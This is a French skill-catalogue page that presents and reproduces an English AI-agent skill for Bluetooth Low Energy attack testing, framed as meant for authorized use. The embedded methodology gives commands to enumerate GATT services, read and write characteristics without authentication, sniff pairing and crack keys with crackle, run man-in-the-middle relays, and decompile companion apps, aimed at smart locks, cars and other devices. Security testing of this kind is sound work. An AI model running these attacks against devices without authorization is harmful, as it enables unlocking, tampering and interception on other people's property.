offensive-bluetooth-ble
Ce qu’il fait
Ce skill est une méthodologie pour tester les appareils Bluetooth Low Energy. Il couvre l'énumération des services, les caractéristiques non authentifiées, les faiblesses de l'appairage et l'analyse de l'application compagnon. Il s'adresse aux professionnels de la sécurité qui testent leurs propres appareils ou des appareils autorisés.
Quand l’utiliser
- ✓Quand vous testez un appareil BLE pour détecter un accès en lecture ou en écriture sans authentification dans un test autorisé.
- ✓Quand vous voulez vérifier si la méthode d'appairage d'un appareil est ouverte à une attaque de l'homme du milieu.
- ✓Quand vous devez cartographier les services et caractéristiques GATT d'un appareil pour une revue de sécurité.
Lien du skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/wireless/offensive-bluetooth-ble/SKILL.mdCopiez-le et collez-le dans votre IA (Claude, ChatGPT ou Cursor) en lui demandant de suivre les instructions.
Comment l’utiliser
Le plus simple : copiez le message et collez-le dans votre IA. Elle lit le skill et suit les instructions.
Message prêt à coller
Pour Claude Code, Codex ou Cursor : lancez-la dans le dossier du projet et le skill est installé.
Téléchargez le SKILL.md et placez-le dans le dossier de skills de votre agent.
Exemple de demande à votre IA
“Nous sommes autorisés à tester ce verrou BLE. Cartographie ses services GATT et vérifie si une caractéristique ne demande aucune authentification.”
5 nouveaux skills par semaine. 1 minute de lecture.
Comment ça marche
Le skill découvre l'appareil et énumère son arbre GATT, puis teste chaque caractéristique pour l'accès en lecture, en écriture et en notification. Il vérifie la méthode d'appairage et examine l'application compagnon pour les formats de commandes.
Contenu technique (SKILL.md original)
Texte original de l’auteur, en anglais, directement depuis GitHub.
Bluetooth Low Energy (BLE) Attacks
BLE devices communicate via GATT — a hierarchy of services, characteristics, and descriptors. Many devices treat the BLE link itself as the trust boundary, exposing privileged operations on characteristics readable/writable from any nearby device.
Quick Workflow
- Discover and enumerate the device's GATT tree
- Test every characteristic for read/write/notify without authentication
- Inspect pairing method — Just Works = no MITM protection
- If Just Works, MITM the pairing to capture / inject
- Reverse the companion app for proprietary command formats
Discovery + GATT Enumeration
# bettercap (interactive)
sudo bettercap -eval "ble.recon on; events.show 60; ble.show"
# Or, attach to a known-MAC device
sudo bettercap -eval "ble.recon on; ble.enum AA:BB:CC:DD:EE:FF"
# bluetoothctl
bluetoothctl
> scan on
> connect AA:BB:CC:DD:EE:FF
> menu gatt
> list-attributes
# gatttool (deprecated but still works)
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary # list services
> char-desc # list characteristics
> char-read-uuid <uuid>
> char-write-req <handle> <hex>
GATT services use 16-bit UUIDs for SIG-defined services (battery, heart rate) and 128-bit UUIDs for vendor-defined ones. Custom 128-bit UUIDs are where vendor-specific commands live — that's your attack surface.
Characteristic Auth-Free Read/Write
Test every characteristic flagged read/write/notify:
# Read all readable characteristics
for h in $(gatttool -b <MAC> --primary | awk '{print $5}'); do
echo "=== Handle $h ==="
gatttool -b <MAC> --char-read --handle=$h
done
# Write to writable characteristics with crafted values
gatttool -b <MAC> --char-write-req --handle=0x0010 --value=0x01
Common findings on consumer BLE devices:
- Door locks:
unlockcharacteristic accepts any write (no auth) - Smart bulbs: brightness/color writeable from any peer
- Wearables: PIN/lock-state readable
- BLE beacons: configurable from any peer (rebrand attacks)
Pairing Method Identification
# Bluetoothctl shows pairing method on initial pair attempt
bluetoothctl
> pair AA:BB:CC:DD:EE:FF
# Watch for: "Confirm passkey", "Display passkey", or no prompt = Just Works
| Method | Security | Attack |
|---|---|---|
| Just Works | None — authenticates anything | Trivial MITM during pairing |
| Numeric Comparison | User confirms 6-digit code | UI manipulation only; crypto strong |
| Passkey Entry | 6-digit code entered or displayed | Brute attack on passkey crackable in some pairing variants |
| Out of Band (OOB) | NFC / QR exchange | Out of scope for BLE attacker |
LE Legacy Pairing uses TK derivation that's crackable from a captured pairing exchange. LE Secure Connections (Bluetooth 4.2+) uses ECDH and is strong if Just Works isn't forced.
Sniffing the Pairing Exchange
# TI CC1352-based: Sniffle (modern, multi-channel)
sudo Sniffle -c 37,38,39 -o pairing.pcap
# Ubertooth (older but well-supported)
ubertooth-btle -f -c pairing.pcap
# Then in Wireshark, decode with crackle
crackle -i pairing.pcap -o decrypted.pcap
# Crackle handles LE Legacy Pairing TK guessing for short-passkey/JustWorks
For LE Legacy Pairing with Just Works, crackle recovers the LTK in seconds. For LE Secure Connections, crackle returns "encrypted with strong key, no recovery."
Active MITM During Pairing
# btproxy / mirage-action-with-mitm — relay between device and victim's phone
mirage-action-with-mitm
# Or:
git clone https://github.com/Charmve/btproxy
sudo python btproxy.py
If pairing is Just Works, you become the legitimate peer for both sides — read/modify GATT operations in real time.
Companion App Reverse Engineering
For vendor-defined characteristics, the format is in the app:
# Pull APK
adb pull /data/app/com.vendor.app/base.apk
# Decompile
jadx -d app_src base.apk
# Find BLE writes
grep -r "writeCharacteristic\|GATT_CHARACTERISTIC" app_src/
# Look at the bytes the app writes vs. observed in-air values
Hand off to offensive-mobile for deeper companion analysis.
Specific Device Classes
Smart Locks
- Test
unlockcharacteristic for unauth write - Test if rolling token is replayable (capture-and-replay within window)
- Check for hardcoded LTK in firmware (chip-off + binary analysis — see
offensive-iot)
Cars (BLE Phone-as-Key)
- Relay attacks (extending range with two SDR-equipped relays, see Tesla research
Questions fréquentes
Qu'est-ce que GATT ?
C'est la structure de services et de caractéristiques qu'un appareil BLE expose.
Quels outils mentionne-t-il ?
Il mentionne bettercap, bluetoothctl, gatttool, ainsi que des analyseurs comme Sniffle et Ubertooth.
Est-ce réservé aux tests autorisés ?
Oui. Il est écrit pour les appareils que vous êtes autorisé à tester.
Détails
Description originale de l’auteur
Bluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.
repo: SnailSploit/Claude-Red
Popularité
- Étoiles GitHub
- 10k
- Position au classement
- #11980
- Licence
- MIT
- Mis à jour
- 12/10/2026
Commentaires
- …
Autres skills de ce dépôt
offensive-active-directory
10kAide votre agent à planifier un test Active Directory autorisé : cartographie du réseau, chemins d'attaque vers Domain Admin, plan documenté.
offensive-netexec
10kAide votre agent à utiliser NetExec (nxc) pour des tests réseau autorisés : protocoles, authentification et contrôles d'identifiants.
offensive-api-abuse
10kAide votre agent à planifier des tests d'API autorisés sur les abus de logique métier, GraphQL et conditions de course.
offensive-api-security
10kAide votre agent à mener des tests autorisés sur API REST, gRPC et WebSocket, selon le Top 10 de l'OWASP pour les API.
Skills similaires
reverse-engineer-anything
422kAide votre agent à analyser les applications et paquets livrés, pour expliquer leurs fonctions, comparer des versions ou guider une reconstruction, avec REA.
1password
394kAide votre agent à configurer l'interface en ligne de commande de 1Password, à se connecter, et à lire ou injecter des secrets sans afficher leurs valeurs dans le chat.
healthcheck
394kAide votre agent à auditer l'ordinateur ou le serveur qui fait tourner OpenClaw pour détecter des risques de sécurité, comme SSH, le pare-feu, les mises à jour et les sauvegardes, puis à proposer des corrections sûres.